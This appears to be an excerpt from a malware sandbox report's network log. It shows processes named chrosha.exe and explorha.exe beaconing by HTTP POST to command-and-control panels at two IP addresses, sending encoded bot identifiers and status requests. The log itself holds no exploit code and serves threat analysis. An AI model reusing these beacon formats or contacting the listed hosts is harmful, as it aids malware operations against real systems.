Apr 19, 2024 03:31:32.287570000 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:32.536350965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.5	50184	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:32.590403080 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:32.836543083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.5	50185	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:32.896861076 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:33.138853073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.5	50186	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:33.197447062 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:33.445358038 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.5	50187	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:33.392600060 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:33.644563913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.5	50188	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:33.695312023 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:33.944595098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.5	50189	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:34.018827915 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:34.267389059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.5	50190	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:34.299438000 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:34.544715881 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.5	50191	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:34.521420002 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:34.776989937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.5	50192	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:34.788438082 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:35.031517982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.5	50193	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:35.141568899 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:35.392831087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.5	50194	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:35.386176109 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:35.629666090 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.5	50195	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:35.715760946 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:35.972822905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.5	50196	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:35.886825085 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:36.140080929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.5	50197	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:36.338838100 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:36.586311102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.5	50198	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:36.515037060 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:36.763463020 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.5	50199	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:36.840464115 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:37.094368935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.5	50200	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:37.022990942 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:37.276845932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.5	50201	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:37.459860086 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:37.704828978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.5	50202	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:37.633476973 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:37.878118992 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.5	50203	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:37.959350109 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:38.209850073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.5	50204	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:38.140732050 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:38.395939112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.5	50205	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:38.568617105 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
